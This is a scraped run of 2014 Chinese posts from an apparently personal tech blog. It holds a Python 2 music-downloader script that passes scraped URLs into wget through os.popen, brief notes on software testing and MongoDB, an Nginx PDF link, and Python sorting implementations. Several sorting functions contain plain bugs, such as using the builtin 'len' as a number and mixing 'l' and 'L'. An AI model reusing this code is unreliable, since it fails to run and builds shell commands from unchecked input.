<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="n">log_file</span> <span class="o">=</span> <span class="s">'/home/fish/python_test/fm/log/download.log'</span>
<span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="n">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">log_file</span><span class="p">))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">DEBUG</span><span class="p">)</span>
<span class="c1"># create 001 002..
</span><span class="k">def</span> <span class="nf">createURL</span><span class="p">():</span>
<span class="n">urlList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">626</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="s">'00'</span> <span class="o">+</span> <span class="n">i</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="s">'0'</span> <span class="o">+</span> <span class="n">i</span>
<span class="n">urlList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">return</span> <span class="n">urlList</span>
<span class="c1">#
</span><span class="k">def</span> <span class="nf">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'http://www.luoo.net/music/'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">url</span> <span class="o">+=</span> <span class="n">vol</span>
<span class="k">print</span> <span class="n">url</span>
<span class="n">page</span> <span class="o">=</span> <span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">playPattern</span> <span class="o">=</span> <span class="s">"volPlaylist\s*=\s*(\[\s*\{[\s\S]+?\}\s*\]);"</span>
<span class="n">playList</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="n">playPattern</span><span class="p">).</span><span class="n">findall</span><span class="p">(</span><span class="n">page</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">jsonList</span><span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">playList</span><span class="p">)</span>
<span class="k">return</span> <span class="n">jsonList</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">startWork</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pwd</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">mkdir</span><span class="p">(</span><span class="n">vol</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">volDir</span> <span class="o">=</span> <span class="n">pwd</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">sep</span> <span class="o">+</span> <span class="n">vol</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">volDir</span><span class="p">)</span>
<span class="k">for</span> <span class="n">song</span> <span class="ow">in</span> <span class="n">getURL</span><span class="p">(</span><span class="n">vol</span><span class="p">):</span>
<span class="n">picName</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span><span class="s">'(\d+).mp3'</span><span class="p">).</span><span class="n">findall</span><span class="p">(</span><span class="n">song</span><span class="p">[</span><span class="s">'mp3'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">songCmd</span> <span class="o">=</span> <span class="s">'wget '</span> <span class="o">+</span> <span class="n">song</span><span class="p">[</span><span class="s">'mp3'</span><span class="p">]</span>
<span class="n">picCmd</span> <span class="o">=</span> <span class="s">'wget -c '</span> <span class="o">+</span> <span class="n">song</span><span class="p">[</span><span class="s">'poster'</span><span class="p">]</span> <span class="o">+</span> <span class="s">' -O '</span> <span class="o">+</span> <span class="n">picName</span> <span class="o">+</span> <span class="s">'.jpg'</span>
<span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="n">songCmd</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="n">picCmd</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">pwd</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">urlList</span> <span class="o">=</span> <span class="n">createURL</span><span class="p">()</span>
<span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">urlList</span><span class="p">:</span>
<span class="n">startWork</span><span class="p">(</span><span class="n">key</span><span class="p">)</span></code></pre></figure>
软件测试思维
2014-06-15T00:00:00+00:00
http://fish267.github.io/2014/06/15/soft-test
<p>2014年5月13号,带我的照哥给讲解了软件测试思维,当时感触很深,但是没来得急整理。拖延症是个病,必须根治呀!下面重两个角度举例子回顾一下:</p>
<p>#广度优先思维</p>
<ol>
<li>一个手机应用-计算器的测试</li>
</ol>
<p>广度优先考虑,要重一个整体的框架上分析,大而全,不一定要精细:</p>
<!--more-->
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. 平台覆盖(IN/UNISTALL)
2. 功能可用性--UI/后台Logic
3. 性能
4. 稳定性
5. 安全行
6. 规范性(UI合规,用户行为习惯符合)
6. 发布测试
</code></pre></div></div>
<p>#深度优先思维</p>
<ol>
<li>一个用户登录界面的测试</li>
</ol>
<p>深度优先思维,针对这一特定的点进行深入,要非常细致与全面,最大努力给开发找麻烦^_^</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. 正常数据输入
2. 错误数据输入
3. 长度限制
4. cookie过期
5. 错误次数过多(封IP,封User)
6. 证书
7. 登录过期
8. 并发访问
9. 稳定性
10. 安全性
11. 兼容性
12. 代码评审
...
</code></pre></div></div>
<p>软件测试很像是个无底洞,天马行空的发散思维,真的还挺好玩的.经历了这么多年的成长,出现了很多工具便于操作。</p>
<p>归根结底,还是照哥说的那句话,开发也好,测试也好,能对人性需求把握的好,就提升了一个层次~</p>
<p>#END</p>
MongoDB学习
2014-06-14T00:00:00+00:00
http://fish267.github.io/2014/06/14/mongodb
<p>在公司做分享,准备了一个PPT,转换成了PDF贴过来。解释了NoSQL的存在意义和Mongo的基本用法</p>
<p>Mac 上安装方法:</p>
<ol>
<li>brew install mongodb</li>
<li>根目录创建目录 sudo mkdir -p /data/db</li>
<li>sudo mongod 启动进程</li>
<li>mongo 登陆 shell</li>
</ol>
<p><a href="https://github.com/fish267/fish267.github.com/raw/master/assets/mongodb.pdf">MongoDB简介</a></p>
<!--more-->
<p><strong><em>貌似IE下能浏览…</em></strong></p>
<embed width="100%" height="500" src="https://github.com/fish267/fish267.github.com/raw/master/assets/mongodb.pdf" />
<p></embed></p>
Nginx 详细配置
2014-04-28T00:00:00+00:00
http://fish267.github.io/2014/04/28/nginx
<p>不想转换成MD格式, 直接贴个PDF地址吧。</p>
<p><a href="https://github.com/fish267/fish267.github.com/raw/master/assets/nginx.pdf">Nginx 详细配置</a></p>
<!--more-->
<p><strong><em>貌似IE下能浏览…</em></strong></p>
<embed width="100%" height="500" src="https://github.com/fish267/fish267.github.com/raw/master/assets/nginx.pdf" />
<p></embed></p>
<p>#END</p>
各种排序的Python实现
2014-04-21T00:00:00+00:00
http://fish267.github.io/2014/04/21/python-sort
<p>在博客园上看到一个Python的排序文章, <a href="http://www.cnblogs.com/wiki-royzhang/p/3614694.html">文章地址</a>, 作者讲解的非常详细, 想学习的可以去看他的。 我此处留个笔记, 部分算法是按照自己的理解写的。
<!--more--></p>
<p>包括冒泡, 插入, 选择, 归并, 快排, 堆排, 二叉树排, 桶排。 代码如下:<br /></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#coding: utf-8
</span><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">l</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">LEN</span> <span class="o">=</span> <span class="mi">50</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">l</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">300</span><span class="p">))</span>
<span class="k">global</span> <span class="n">length</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'*'</span> <span class="o">*</span> <span class="mi">100</span>
<span class="k">print</span> <span class="n">l</span>
<span class="k">print</span> <span class="s">'*'</span> <span class="o">*</span> <span class="mi">100</span>
<span class="k">def</span> <span class="nf">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="k">if</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">l</span>
<span class="k">def</span> <span class="nf">bubbleSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span> <span class="o">-</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
<span class="k">if</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">></span> <span class="n">l</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>
<span class="k">return</span> <span class="n">l</span>
<span class="k">def</span> <span class="nf">insertSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">):</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">></span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o"><</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>
<span class="n">i</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">l</span>
<span class="k">def</span> <span class="nf">selectSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="nb">len</span><span class="p">):</span>
<span class="k">if</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">></span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]:</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>
<span class="k">return</span> <span class="n">l</span>
<span class="k">def</span> <span class="nf">mergeSort</span><span class="p">(</span><span class="n">L</span><span class="p">,</span><span class="n">start</span><span class="p">,</span><span class="n">end</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">merge</span><span class="p">(</span><span class="n">L</span><span class="p">,</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">,</span><span class="n">e</span><span class="p">):</span>
<span class="n">left</span> <span class="o">=</span> <span class="n">L</span><span class="p">[</span><span class="n">s</span><span class="p">:</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
<span class="n">right</span> <span class="o">=</span> <span class="n">L</span><span class="p">[</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">:</span><span class="n">e</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
<span class="k">while</span> <span class="n">s</span><span class="o"><</span><span class="n">e</span><span class="p">:</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">left</span><span class="p">)</span><span class="o">></span><span class="mi">0</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">right</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">:</span>
<span class="n">l</span><span class="p">[</span><span class="n">s</span><span class="p">]</span> <span class="o">=</span> <span class="n">left</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">if</span> <span class="n">left</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o"><</span> <span class="n">right</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">else</span> <span class="n">right</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">s</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">left</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">:</span>
<span class="n">L</span><span class="p">[</span><span class="n">s</span><span class="p">]</span> <span class="o">=</span> <span class="n">left</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">s</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">right</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">:</span>
<span class="n">L</span><span class="p">[</span><span class="n">s</span><span class="p">]</span> <span class="o">=</span> <span class="n">right</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">s</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">pass</span>
<span class="k">if</span> <span class="n">start</span><span class="o"><</span><span class="n">end</span><span class="p">:</span>
<span class="n">mid</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((</span><span class="n">start</span><span class="o">+</span><span class="n">end</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">)</span>
<span class="n">mergeSort</span><span class="p">(</span><span class="n">L</span><span class="p">,</span><span class="n">start</span><span class="p">,</span><span class="n">mid</span><span class="p">)</span>
<span class="n">mergeSort</span><span class="p">(</span><span class="n">L</span><span class="p">,</span><span class="n">mid</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="n">end</span><span class="p">)</span>
<span class="n">merge</span><span class="p">(</span><span class="n">L</span><span class="p">,</span><span class="n">start</span><span class="p">,</span><span class="n">mid</span><span class="p">,</span><span class="n">end</span><span class="p">)</span>
<span class="k">return</span> <span class="n">L</span>
<span class="k">def</span> <span class="nf">quickSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">l</span>
<span class="n">left</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">l</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span> <span class="k">if</span> <span class="n">i</span> <span class="o"><</span> <span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span>
<span class="n">right</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">l</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span> <span class="k">if</span> <span class="n">i</span> <span class="o">>=</span> <span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span>
<span class="k">return</span> <span class="n">quickSort</span><span class="p">(</span><span class="n">left</span><span class="p">)</span> <span class="o">+</span> <span class="p">[</span><span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">],]</span> <span class="o">+</span> <span class="n">quickSort</span><span class="p">(</span><span class="n">right</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">MinHeapFixdown</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">j</span> <span class="o"><</span> <span class="n">n</span><span class="p">:</span>
<span class="k">if</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span> <span class="o"><</span> <span class="n">n</span> <span class="ow">and</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o"><</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]:</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">>=</span> <span class="n">temp</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">i</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="n">j</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp</span>
<span class="k">def</span> <span class="nf">MakeMiniHeap</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">n</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span><span class="mi">1</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">>=</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">MinHeapFixdown</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">i</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">l</span>
<span class="k">def</span> <span class="nf">heapSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">l</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">length</span> <span class="o">-</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">t</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="n">l</span><span class="p">[</span><span class="n">t</span><span class="p">],</span> <span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">l</span><span class="p">[</span><span class="n">t</span><span class="p">]</span>
<span class="n">MinHeapFixdown</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">t</span><span class="p">)</span>
<span class="n">t</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="k">print</span> <span class="n">l</span>
<span class="k">class</span> <span class="nc">Node</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="n">left</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="n">right</span> <span class="o">=</span> <span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__value</span> <span class="o">=</span> <span class="n">value</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__left</span> <span class="o">=</span> <span class="n">left</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__right</span> <span class="o">=</span> <span class="n">right</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">value</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">__value</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">left</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">__left</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">right</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">__right</span>
<span class="k">def</span> <span class="nf">binaryTreeSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">BinaryTree</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">root</span> <span class="o">=</span> <span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__root</span> <span class="o">=</span> <span class="n">root</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__ret</span> <span class="o">=</span> <span class="p">[]</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">result</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">__ret</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">parent</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="k">if</span> <span class="n">parent</span><span class="p">.</span><span class="n">value</span> <span class="o"><</span> <span class="n">node</span><span class="p">.</span><span class="n">value</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">parent</span><span class="p">.</span><span class="n">left</span><span class="p">:</span>
<span class="n">parent</span><span class="p">.</span><span class="n">left</span> <span class="o">=</span> <span class="n">node</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">parent</span><span class="p">.</span><span class="n">left</span><span class="p">,</span> <span class="n">node</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">parent</span><span class="p">.</span><span class="n">right</span><span class="p">:</span>
<span class="n">parent</span><span class="p">.</span><span class="n">right</span> <span class="o">=</span> <span class="n">node</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">parent</span><span class="p">.</span><span class="n">right</span><span class="p">,</span> <span class="n">node</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">Add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="p">.</span><span class="n">__root</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__root</span> <span class="o">=</span> <span class="n">node</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__root</span><span class="p">,</span> <span class="n">node</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">node</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="n">node</span><span class="p">.</span><span class="n">right</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">show</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">right</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__ret</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">node</span><span class="p">.</span><span class="n">left</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">show</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">left</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">Show</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">show</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__root</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">BinaryTree</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">b</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">Node</span><span class="p">(</span><span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="n">b</span><span class="p">.</span><span class="n">Show</span><span class="p">()</span>
<span class="k">return</span> <span class="n">b</span><span class="p">.</span><span class="n">result</span>
<span class="k">def</span> <span class="nf">countSort</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">check_len</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="n">max_num</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="n">storage</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="n">max_num</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">storage</span><span class="p">[</span><span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">res</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">max_num</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
